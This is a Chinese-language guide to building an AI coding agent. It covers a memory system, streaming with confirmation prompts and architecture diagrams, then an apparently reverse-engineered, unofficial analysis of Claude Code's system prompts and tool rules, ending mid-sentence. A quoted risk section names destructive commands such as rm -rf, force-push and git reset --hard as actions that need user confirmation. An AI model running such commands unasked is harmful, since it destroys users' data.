第六步:产品打磨(第六周)
目标: 把前五步串成真正能用的产品。这一周不做新功能,只做胶水和打磨。
优先级排序(按投入产出比):
P0 — 必须有(前 3 天):
1. 记忆系统
├── 对话结束时调 LLM 提取 3-5 条关键事实
├── 存为 memdir/{project}/{date}.md(纯文本,用户可读)
├── 新对话开始时语义检索 top-3 相关注入系统提示词
└── /memory 命令让用户查看/编辑/删除
// memory/index.ts — 记忆系统核心(~30 行)
class MemorySystem {
constructor(private memdir: string) {}
// 对话结束时自动调用
async consolidate(messages: Message[]): Promise {
const extraction = await llmComplete([
{ role: 'system', content: `从以下对话中提取 3-5 条值得长期记住的事实。
格式:每条一行,以 "- " 开头。只记事实,不记过程。` },
{ role: 'user', content: messagesToText(messages) }
]);
const facts = extraction.split('\n').filter(l => l.startsWith('- '));
await fs.appendFile(this.todayPath(), '\n' + facts.join('\n'));
}
// 新对话开始时调用
async recall(query: string): Promise {
const allFiles = await glob(`${this.memdir}/**/*.md`);
const contents = await Promise.all(allFiles.map(f => fs.readFile(f, 'utf8')));
const ranked = await semanticRank(query, contents);
return ranked.slice(0, 3).join('\n---\n');
}
// 用户审计入口
async list(): Promise {
return await fs.readFile(this.todayPath(), 'utf8');
}
private todayPath(): string {
return path.join(this.memdir, `${new Date().toISOString().slice(0,10)}.md`);
}
}
P1 — 强烈建议(第 4-5 天):
2. 流式输出 + 进度指示
├── 工具调用时 yield "🔧 正在执行 BashTool..."
├── 并行工具同时显示多个进度
└── 危险操作前暂停,显示命令内容等用户确认
// loop.ts 中集成进度指示
for (const call of toolCalls) {
yield { type: 'tool_start', tool: call.name, args: call.args };
// 危险操作 → 确认
const tool = findTool(call.name);
if (tool.isDestructive?.(call.args)) {
yield { type: 'confirm', message: `⚠️ 即将执行: ${call.args.command}\n确认?` };
// 等用户确认...
}
const result = await tool.execute(call.args);
yield { type: 'tool_end', tool: call.name, result };
}
P2 — 有余力再做(第 6 天):
3. MCP 外部工具接入
├── 定义 McpTool 基类,自动把 MCP server 的工具注册为本地工具
└── 权限沿用现有三层防御体系
4. 监控日志
├── 每轮对话记录:token 用量、工具调用数、耗时
└── 异常事件写入 logs/ 目录,方便排查
验收标准:
跨会话能记住用户的偏好和项目上下文
用户能查看 Agent 记住了什么
支持 MCP 协议的外部工具接入
流式输出 + 进度指示 + 确认机制完整
有基本的监控和日志
六周总览
周次
交付物
核心文件
验收标准
第一周
能跑的 Agent Loop
loop.ts, tools/, llm.ts
基本对话 + 3 个工具
第二周
工具系统完善
tools/base.ts, tools/index.ts
描述准确 + 参数校验 + lint
第三周
权限系统
permissions/
三层防御 + deny by default
第四周
上下文管理
context/
三级压缩 + token 追踪
第五周
子 Agent 编排
agents/
并行执行 + 结果汇总
第六周
产品打磨
memory/, 插件, UX
跨会话记忆 + MCP + 流式输出
附录 A:Claude Code 完整架构总览
下面这张图覆盖了 Claude Code 的所有模块、它们之间的数据流和依赖关系。
┌─────────────────────────────────────────────────────────────────────────────────┐
│ Claude Code — 完整架构总览 │
│ │
│ ╔═══════════════════════════════════════════════════════════════════════════╗ │
│ ║ 入口层 (Entry Points) ║ │
│ ║ ┌──────────┐ ┌──────────┐ ┌──────────────┐ ┌─────────────────────┐ ║ │
│ ║ │ CLI │ │ SDK │ │ Remote Bridge│ │ IDE Extension │ ║ │
│ ║ │-t/--print│ │ query() │ │ claude.ai │ │ VSCode / JetBrains │ ║ │
│ ║ │interactive│ │ session()│ │ WebSocket │ │ Inline Suggestions │ ║ │
│ ║ └────┬─────┘ └────┬─────┘ └──────┬───────┘ └──────────┬──────────┘ ║ │
│ ╚═══════╪══════════════╪══════════════╪═════════════════════╪══════════════╝ │
│ └──────────────┴──────┬───────┴─────────────────────┘ │
│ ▼ │
│ ╔═══════════════════════════════════════════════════════════════════════════╗ │
│ ║ 核心引擎 (Core Engine) ║ │
│ ║ ║ │
│ ║ ┌─ query.ts ─────────────────────────────────────────────────────────┐ ║ │
│ ║ │ │ ║ │
│ ║ │ messages ──► streamLLM() ──► tool_calls ──► runTools() │ ║ │
│ ║ │ ▲ │ │ ║ │
│ ║ │ └──────── results ◄────────────────────┘ │ ║ │
│ ║ │ │ ║ │
│ ║ │ while (!done) { │ ║ │
│ ║ │ streamClaudeResponse(model, messages, tools) │ ║ │
│ ║ │ → collect tool_calls │ ║ │
│ ║ │ → runTools() // parallel read / serial write │ ║ │
│ ║ │ → append results to messages │ ║ │
│ ║ │ } │ ║ │
│ ║ └────────────────────────────────────────────────────────────────────┘ ║ │
│ ║ ║ │
│ ║ ┌─ 系统提示词 (System Prompt) ──────────────────────────────────────┐ ║ │
│ ║ │ 工具描述 │ 安全规则 │ 项目上下文 │ 操作指南 │ 输出格式要求 │ ║ │
│ ║ └───────────────────────────────────────────────────────────────────┘ ║ │
│ ║ ║ │
│ ╚═══════════════════════════════════════════════════════════════════════════╝ │
│ │ │
│ ┌─────────────────┼─────────────────┐ │
│ ▼ ▼ ▼ │
│ ╔═══════════════╗ ╔═══════════════╗ ╔══════════════════╗ │
│ ║ 工具系统 ║ ║ 安全层 ║ ║ 上下文管理 ║ │
│ ║ ║ ║ ║ ║ ║ │
│ ║ Tool.ts ║ ║ bashPermis- ║ ║ autoCompact ║ │
│ ║ (interface) ║ ║ sions.ts ║ ║ ↓ ║ │
│ ║ ║ ║ ║ ║ reactiveCompact ║ │
│ ║ ┌───────────┐ ║ ║ L1: AST解析 ║ ║ ↓ ║ │
│ ║ │ BashTool │─╫──╫─ L2: 精确匹配 ║ ║ contextCollapse ║ │
│ ║ │ FileRead │ ║ ║ L3: 前缀通配 ║ ║ ║ │
│ ║ │ FileEdit │ ║ ║ L4: 语义分析 ║ ║ tokenTracker ║ │
│ ║ │ FileWrite │ ║ ║ L5: 路径约束 ║ ║ 任务级 + 轮级 ║ │
│ ║ │ GlobTool │ ║ ║ L6: ML+沙箱 ║ ║ ║ │
│ ║ │ GrepTool │ ║ ║ ║ ║ compact_boundary ║ │
│ ║ │ WebSearch │ ║ ║ fail-safe: ║ ║ 标记 ║ │
│ ║ │ WebFetch │ ║ ║ 默认拒绝 ║ ║ ║ │
│ ║ │ AgentTool │ ║ ╚═══════════════╝ ╚══════════════════╝ │
│ ║ │ MCPTool │ ║ │ │ │
│ ║ │ TodoWrite │ ║ │ │ │
│ ║ │ SkillTool │ ║ │ │ │
│ ║ └───────────┘ ║ │ │ │
│ ║ ║ │ │ │
│ ║ isReadOnly ║ │ │ │
│ ║ isConcurSafe ║ │ │ │
│ ║ isDestructive ║ │ │ │
│ ╚═══════════════╝ │ │ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ ╔═══════════════════════════════════════════════════════════════════════════╗ │
│ ║ 工具调度 (toolOrchestration.ts) ║ │
│ ║ ║ │
│ ║ 工具调用列表 ──► 按 isReadOnly 分区 ║ │
│ ║ │ ║ │
│ ║ ┌───────┴───────┐ ║ │
│ ║ ▼ ▼ ║ │
│ ║ 并行执行 (Promise.all) 串行执行 (顺序) ║ │
│ ║ isReadOnly=true isReadOnly=false ║ │
│ ║ isConcurrencySafe=true isDestructive=true ║ │
│ ║ │ │ ║ │
│ ║ └───────┬───────┘ ║ │
│ ║ ▼ ║ │
│ ║ 流式返回结果给用户 ║ │
│ ╚═══════════════════════════════════════════════════════════════════════════╝ │
│ │ │
│ ┌─────────────────┼─────────────────┐ │
│ ▼ ▼ ▼ │
│ ╔═══════════════╗ ╔═══════════════╗ ╔══════════════════╗ │
│ ║ 子 Agent 系统 ║ ║ 记忆系统 ║ ║ 扩展系统 ║ │
│ ║ ║ ║ ║ ║ ║ │
│ ║ runAgent() ║ ║ memdir/ ║ ║ MCP Servers ║ │
│ ║ └─ query() ║ ║ ║ ║ ├─ FileSystem ║ │
│ ║ (复用主循环) ║ ║ consolidate- ║ ║ ├─ GitHub ║ │
│ ║ ║ ║ Prompt ║ ║ ├─ Slack ║ │
│ ║ 内置 Agent: ║ ║ (自动提取) ║ ║ └─ 自定义... ║ │
│ ║ ├─ general ║ ║ ║ ║ ║ │
│ ║ ├─ explore ║ ║ findRelevant- ║ ║ Skills ║ │
│ ║ ├─ plan ║ ║ Memories ║ ║ ├─ /命令触发 ║ │
│ ║ └─ verify ║ ║ (语义检索) ║ ║ └─ 按需加载 ║ │
│ ║ ║ ║ ║ ║ ║ │
│ ║ 模式: ║ ║ 生命周期: ║ ║ Plugins ║ │
│ ║ ├─ Fork ║ ║ 创建→检索→ ║ ║ └─ 外部服务集成 ║ │
│ ║ │ (上下文继承)║ ║ 过期→删除 ║ ║ ║ │
│ ║ ├─ Coordinator║ ║ ║ ║ Slash Commands ║ │
│ ║ │ (多工人调度)║ ║ 可审计: ║ ║ └─ /compact 等 ║ │
│ ║ └─ Parallel ║ ║ 用户可查看/ ║ ║ ║ │
│ ║ (并行执行) ║ ║ 编辑/删除 ║ ╚══════════════════╝ │
│ ╚═══════════════╝ ╚═══════════════╝ │
│ │ │ │
│ │ ┌────────────┘ │
│ │ │ │
│ ▼ ▼ │
│ ╔═══════════════════════════════════════════════════════════════════════════╗ │
│ ║ 基础设施 (Infrastructure) ║ │
│ ║ ║ │
│ ║ ┌─────────────┐ ┌──────────────┐ ┌────────────┐ ┌────────────────┐ ║ │
│ ║ │ Analytics │ │ Feature Flags│ │ Prompt │ │ Transcript │ ║ │
│ ║ │ (遥测) │ │ (A/B 测试) │ │ Cache │ │ (对话记录) │ ║ │
│ ║ └─────────────┘ └──────────────┘ └────────────┘ └────────────────┘ ║ │
│ ║ ║ │
│ ║ ┌─────────────┐ ┌──────────────┐ ┌────────────┐ ┌────────────────┐ ║ │
│ ║ │ tree-sitter │ │ JSON Schema │ │ 流式 SSE │ │ 错误恢复 │ ║ │
│ ║ │ (AST 解析) │ │ (参数校验) │ │ (响应格式) │ │ (重试/降级) │ ║ │
│ ║ └─────────────┘ └──────────────┘ └────────────┘ └────────────────┘ ║ │
│ ╚═══════════════════════════════════════════════════════════════════════════╝ │
└─────────────────────────────────────────────────────────────────────────────────┘
附录 B:模块关系矩阵
这张表说明了各模块之间的依赖方向——行依赖列。
│ Loop │ Tools │ Safety │ Context │ Agent │ Memory │ Extensions │ Infra │
──────────────────┼──────┼───────┼────────┼─────────┼───────┼────────┼────────────┼───────┤
Loop (query.ts) │ ── │ → │ → │ → │ → │ │ → │ → │
Tools (Tool.ts) │ │ ── │ → │ │ │ │ → │ → │
Safety (perms) │ │ │ ── │ │ │ │ │ → │
Context (compact) │ │ │ │ ── │ │ │ │ → │
Sub-Agent │ → │ → │ → │ → │ ── │ │ → │ → │
Memory │ │ │ │ │ │ ── │ │ → │
Extensions (MCP) │ │ → │ → │ │ │ │ ── │ → │
Infrastructure │ │ │ │ │ │ │ │ ── │
→ 表示 "依赖" 或 "调用"
关键依赖链:
Loop ──→ Tools ──→ Safety(每个工具执行都经过权限检查)
│ │
│ ▼
│ Safety ──→ Infra (tree-sitter, 沙箱)
│
├──→ Context ──→ Infra (token 计算, 压缩算法)
│
├──→ Sub-Agent ──→ Loop(子 Agent 复用主循环)
│ │
│ └──→ Tools(子 Agent 使用相同的工具集)
│
├──→ Extensions ──→ Tools(MCP 工具注册为普通工具)
│ │
│ └──→ Safety(MCP 工具同样受权限检查)
│
└──→ Memory ──→ Infra (文件存储, 语义索引)
附录 C:从架构到代码的文件映射
architecture/ source/
├── Entry Points ──► ├── src/cli.ts
│ ├── src/sdk/index.ts
│ └── src/remote/
│
├── Core Engine ──► ├── src/query.ts ← 主循环
│ ├── src/streaming.ts ← 流式响应
│ └── src/messages.ts ← 消息处理
│
├── Tool System ──► ├── src/Tool.ts ← 接口定义
│ ├── src/tools/
│ │ ├── bash.ts ← shell 执行
│ │ ├── fileRead.ts ← 文件读取
│ │ ├── fileEdit.ts ← 文件编辑
│ │ ├── fileWrite.ts ← 文件写入
│ │ ├── glob.ts / grep.ts ← 搜索
│ │ ├── webSearch.ts ← 网页搜索
│ │ ├── agent.ts ← 子 Agent
│ │ ├── mcp.ts ← MCP 集成
│ │ ├── todoWrite.ts ← 待办
│ │ └── skill.ts ← 技能命令
│ └── src/toolOrchestration.ts ← 调度
│
├── Safety Layer ──► ├── src/bashPermissions.ts ← 权限入口
│ ├── src/permissions/
│ │ ├── rules.ts ← 规则匹配
│ │ ├── pattern.ts ← 模式匹配
│ │ ├── sandbox.ts ← 沙箱
│ │ └── classifier.ts ← ML 分类
│ └── src/constants.ts ← 黑白名单常量
│
├── Context Mgmt ──► ├── src/autoCompact.ts ← 自动压缩
│ ├── src/context/
│ │ ├── tracker.ts ← token 追踪
│ │ ├── budget.ts ← 预算管理
│ │ └── collapse.ts ← 上下文坍缩
│ └── src/constants.ts ← 阈值配置
│
├── Sub-Agent ──► ├── src/agents/
│ │ ├── runAgent.ts ← Agent 启动器
│ │ ├── coordinator.ts ← 协调者
│ │ ├── worker.ts ← 工人
│ │ └── types.ts ← 类型定义
│ └── src/prompts/
│ ├── coordinator.md ← 协调者提示词
│ ├── worker.md ← 工人提示词
│ └── agents/ ← 内置 Agent 提示词
│
├── Memory ──► ├── src/memory/
│ │ ├── consolidate.ts ← 自动整理
│ │ ├── retrieve.ts ← 语义检索
│ │ └── storage.ts ← 持久化
│ └── memdir/ ← 存储目录
│
├── Extensions ──► ├── src/mcp/
│ │ ├── client.ts ← MCP 客户端
│ │ └── server.ts ← MCP 服务端
│ ├── src/skills/ ← 技能目录
│ └── src/plugins/ ← 插件目录
│
└── Infrastructure──► ├── src/analytics.ts ← 遥测
├── src/featureFlags.ts ← 特性开关
├── src/promptCache.ts ← 提示词缓存
├── src/transcript.ts ← 对话记录
└── src/utils/ ← 工具函数
附录 D:数据流全貌
从用户输入到最终输出,数据经过的完整路径:
用户输入
│
▼
┌─────────────────┐
│ 1. 入口解析 │ CLI 参数 / SDK 调用 / IDE 请求
│ (Entry Point) │ → 解析为 messages[] + tools[]
└────────┬────────┘
│
▼
┌─────────────────┐
│ 2. 上下文准备 │ 加载记忆 → 合并项目上下文 → 生成系统提示词
│ (Context Prep)│ → 完整的 messages 序列
└────────┬────────┘
│
▼
┌─────────────────────────────────────────────────────────┐
│ 3. Agent Loop (while not done) │
│ ┌──────────────────────────────────────────────────┐ │
│ │ messages ──→ streamLLM() ──→ tool_calls[] │ │
│ │ │ │ │
│ │ ┌────────────┼──────────┐ │ │
│ │ ▼ ▼ ▼ │ │
│ │ 只读工具 写操作工具 确认类 │ │
│ │ (并行执行) (串行执行) (等用户)│ │
│ │ │ │ │ │ │
│ │ └────────────┼──────────┘ │ │
│ │ ▼ │ │
│ │ ┌─── 安全检查层 ───┐ │ │
│ │ │ AST → 规则 → 语义│ │ │
│ │ │ → 路径 → ML → 沙箱│ │ │
│ │ └────────┬─────────┘ │ │
│ │ ▼ │ │
│ │ tool_results[] ──→ 追加到 messages │
│ │ │ │ │
│ │ ┌──────────────────────┘ │ │
│ │ ▼ │ │
│ │ 流式返回给用户 (部分结果实时可见) │ │
│ └──────────────────────────────────────────────────┘ │
└────────────────────┬────────────────────────────────────┘
│ (LLM 返回纯文本 → 循环结束)
▼
┌─────────────────┐
│ 4. 子 Agent 分支 │ 如果循环中触发 AgentTool:
│ (可选) │ → spawn sub-agent (复用同一套 loop)
│ │ → sub-agent 完成 → 通知父 Agent
│ │ → 结果并入 messages
└────────┬────────┘
│
▼
┌─────────────────┐
│ 5. 会话结束 │ 提取关键信息 → 存入记忆 → 写入 transcript
│ (Cleanup) │ → 清理临时资源
└─────────────────┘
关键数据流特征:
步骤 3 的并行/串行分区 是整个系统性能的关键——只读工具并行、写操作串行,由工具元信息决定
安全检查是拦截层 ,不是决策层——工具调度已经分好区,安全层只做 pass/fail 判断
子 Agent 是循环嵌套 ——步骤 4 的 sub-agent 复用步骤 3 的同一套 loop,不是独立路径
基于 Claude Code 源码逆向分析。产品设计方法论提炼,非官方文档。
Claude Code 产品设计与提示词分析报告
Claude Code 产品设计与提示词分析报告
源码版本:Claude Code v2.1.88(~51万行 TypeScript)
分析日期:2026-03-31
基于源码 `` 的逆向分析。写给两类人:想知道"Claude Code 到底怎么做到的"的产品人,以及想抄提示词工程细节的工程师。
一、架构总览
Claude Code 本质上是一个 有状态的 Agent 框架 ,核心循环很朴素:
用户输入 → 系统提示词 + 工具定义 → LLM → 工具调用 → 执行 → 结果回填 → 循环
但魔鬼在细节里。它围绕这个循环做了几件事:
系统提示词的分层缓存 — 静态内容和动态内容用 SYSTEM_PROMPT_DYNAMIC_BOUNDARY 隔开,静态部分跨会话复用 prompt cache
工具权限的渐进式管控 — 不是简单的 allow/deny,而是按 permission mode 分级(详见技术分析篇第 8 章)
子 Agent 体系 — Coordinator 模式、fork 模式、专用 Agent 三层架构
上下文生命周期管理 — Compact、Microcompact、Dream 三级压缩(详见技术分析篇第 7 章)
命令系统 — 斜杠命令不仅是快捷方式,每个命令实质上是一个 prompt 模板
二、系统提示词深度拆解
2.1 提示词的整体结构
getSystemPrompt() 返回一个 string[] ,按顺序拼接。关键设计: 用一个 boundary marker 把提示词切成两半 。
// constants/prompts.ts
export const SYSTEM_PROMPT_DYNAMIC_BOUNDARY =
'__SYSTEM_PROMPT_DYNAMIC_BOUNDARY__'
Boundary 之前的内容(静态):
Intro section(身份声明)
System section(基本规则)
Doing tasks section(行为准则)
Actions section(风险管控)
Using your tools section(工具偏好)
Tone and style section(输出风格)
Output efficiency section(效率指令)
Boundary 之后的内容(动态,每个 session 不同):
Session-specific guidance(根据启用的工具动态生成)
Memory(从文件加载)
Environment info(OS、shell、git 状态)
Language preference
Output style(用户自定义输出风格)
MCP server instructions
Scratchpad 路径
设计意图 :静态部分可以跨用户、跨会话共享 prompt cache(Claude API 的 cacheScope: 'global'),大幅降低 token 成本和延迟。动态部分放在后面,即使变化也不会破坏前面的缓存。
这个分层缓存策略是 Claude Code 在成本控制上最关键的设计决策之一。每次请求只需要为动态部分付费,静态提示词几千 token 的成本被摊薄到几乎为零。
2.2 核心提示词原文摘录
身份声明
You are an interactive agent that helps users with software engineering tasks.
IMPORTANT: You must NEVER generate or guess URLs for the user unless you are
confident that the URLs are for helping the user with programming.
简洁。没有角色扮演,没有"你是一个友好的…",直接进入工作模式。
行为准则(Doing Tasks)
这是提示词里最长、信息密度最高的部分。摘几个关键指令:
禁止过度工程化 (这段很值得所有 AI 编码工具抄):
Don't add features, refactor code, or make "improvements" beyond what was asked.
A bug fix doesn't need surrounding code cleaned up. A simple feature doesn't
need extra configurability. Don't add docstrings, comments, or type annotations
to code you didn't changed. Only add comments where the logic isn't self-evident.
Don't add error handling, fallbacks, or validation for scenarios that can't
happen. Trust internal code and framework guarantees. Only validate at system
boundaries (user input, external APIs).
Don't create helpers, utilities, or abstractions for one-time operations.
Don't design for hypothetical future requirements. The right amount of
complexity is what the task actually requires—no speculative abstractions,
but no half-finished implementations either. Three similar lines of code
is better than a premature abstraction.
Ant 内部版本的注释策略 (更激进):
Default to writing no comments. Only add one when the WHY is non-obvious:
a hidden constraint, a subtle invariant, a workaround for a specific bug,
behavior that would surprise a reader.
Don't explain WHAT the code does, since well-named identifiers already do that.
Don't reference the current task, fix, or callers ("used by X", "added for
the Y flow"), since those belong in the PR description and rot as the codebase
evolves.
失败处理 (避免无脑重试):
If an approach fails, diagnose why before switching tactics—read the error,
check your assumptions, try a focused fix. Don't retry the identical action
blindly, but don't abandon a viable approach after a single failure either.
Escalate to the user with AskUserQuestion only when you're genuinely stuck
after investigation, not as a first response to friction.
风险动作管控(Actions Section)
这段的核心思想是 可逆性分级 :
Carefully consider the reversibility and blast radius of actions. Generally
you can freely take local, reversible actions like editing files or running
tests. But for actions that are hard to reverse, affect shared systems beyond
your local environment, or could otherwise be risky or destructive, check
with the user before proceeding.
具体例子:
破坏性操作:删文件/分支、drop 表、 rm -rf
不可逆操作: force-push 、 git reset --hard 、amend 已发布的 commit
影响他人的操作:push 代码、创建 PR、发消息
上传到第三方工具的内容
工具偏好指令(Using Your Tools)
Do NOT use the Bash tool to run commands when a relevant dedicated tool is
provided. Using dedicated tools allows the user to better understand and
review your work.
具体映射:
读文件 → Read (不是 cat/head/tail)
编辑文件 → Edit (不是 sed/awk)
创建文件 → Write (不是 cat heredoc)
搜文件 → Glob (不是 find)
搜内容 → Grep (不是 grep/rg)
Bash 只用于"没有专用工具能做"的操作
输出效率(两个版本)
外部版 (简洁至上):
Go straight to the point. Try the simplest approach first without going
in circles. Do not overdo it. Be extra concise.
If you can say it in one sentence, don't use three.
Ant 内部版 (更注重可读性):
When sending user-facing text, you're writing for a person, not logging
to a console. Assume users can't see most tool calls or thinking - only
your text output. Before your first tool call, briefly state what you're
about to do.
Write user-facing text in flowing prose while eschewing fragments, excessive
em dashes, symbols and notation. Avoid semantic backtracking: structure each
sentence so a person can read it linearly, building up meaning without having
to re-parse what came before.
What's most important is the reader understanding your output without mental
overhead or follow-ups, not how terse you are.
这个内外版本差异反映了 Anthropic 的一个判断:外部用户要效率,内部用户要可读性。
2.3 环境信息注入
// constants/prompts.ts → computeSimpleEnvInfo()
`Primary working directory: ${cwd}`
`Is a git repository: ${isGit}`
`Platform: ${env.platform}`
`Shell: ${shellName}`
`OS Version: ${unameSR}`
`You are powered by the model named ${marketingName}.`
`Assistant knowledge cutoff is ${cutoff}.`
`Claude Code is available as a CLI in the terminal, desktop app (Mac/Windows),
web app (claude.ai/code), and IDE extensions (VS Code, JetBrains).`
`Fast mode for Claude Code uses the same ${FRONTIER_MODEL_NAME} model with
faster output. It does NOT switch to a different model.`
环境信息不只是告诉模型"你在哪",还包含了 模型自我认知 和 产品能力边界 。
2.4 系统提示词的缓存架构
// constants/prompts.ts
// Boundary marker separating static (cross-org cacheable) content from
// dynamic content. Everything BEFORE this marker in the system prompt array
// can use scope: 'global'. Everything AFTER contains user/session-specific
// content and should not be cached.
代码里还有一个 systemPromptSection() 函数,用标签(如 'session_guidance' 、 'memory' 、 'language' )管理动态 section,支持按需计算和缓存失效追踪。
三、工具设计分析
3.1 Tool 接口定义
Tool.ts 定义了工具的核心接口(类型定义文件,~100 行内主要是 type 声明)。关键字段包括:
name — 工具名
description — 给模型看的描述
inputSchema — JSON Schema 参数定义
isAvailable — 运行时可用性检查
permissions — 权限要求
3.2 BashTool — 最复杂的安全边界
BashTool 的提示词是所有工具里最长的,因为它承担了"万能工具"的角色,同时需要强约束。
工具偏好复述 (在工具级提示词里再强化一遍,和系统提示词形成双重约束):
File search: Use Glob (NOT find or ls)
Content search: Use Grep (NOT grep or rg)
Read files: Use Read (NOT cat/head/tail)
Edit files: Use Edit (NOT sed/awk)
Write files: Use Write (NOT echo >/cat </ wrapper, no